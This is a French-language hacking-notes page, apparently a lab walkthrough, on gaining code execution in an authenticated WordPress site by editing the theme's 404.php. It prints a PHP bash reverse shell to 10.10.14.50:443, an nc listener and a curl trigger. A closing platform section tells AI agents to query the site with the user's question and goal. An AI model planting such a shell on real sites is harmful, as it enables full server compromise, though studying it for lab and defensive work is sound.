> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/wordpress-cms-exploitation/wordpress-authenticated-rce.md).

# WordPress (authentifié) - RCE

Notes WordPress authentifiées pour l’abus de l’éditeur de thèmes, l’injection de charge utile dans 404.php, l’exécution d’un reverse shell PHP, le déclenchement via curl et les étapes de mise à niveau du shell.

### **Exécution de code à distance WordPress (RCE)**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea534a89e75ad30df3dbeedda4a755d9d9ef26d7%2F%7BC6CEFE52-1E03-4C72-9C22-8A7FBFFED8AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Modifier `_404.php` et injectez un shell inversé :

```php
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.50/443 0>&1'")
?>
```

Démarrez un écouteur sur le port 443 :

```bash
nc -nvlp 443
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbe1a9f3696247622f44156d5ff7e42f50b3697e%2F%7BB4364371-95D3-4E1C-874E-F6752D49D1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Exécutez le shell via *curl*:

```bash
curl -s -X GET "http://apocalyst.htb/?p=404.php"
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492ca22c588ca624a80e76ddf639ae07c9b184d9%2F%7B34B5F0C0-0745-4EF0-B5B8-A7C59C7746AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Amélioration de la session shell


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/cms/wordpress-cms-exploitation/wordpress-authenticated-rce.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
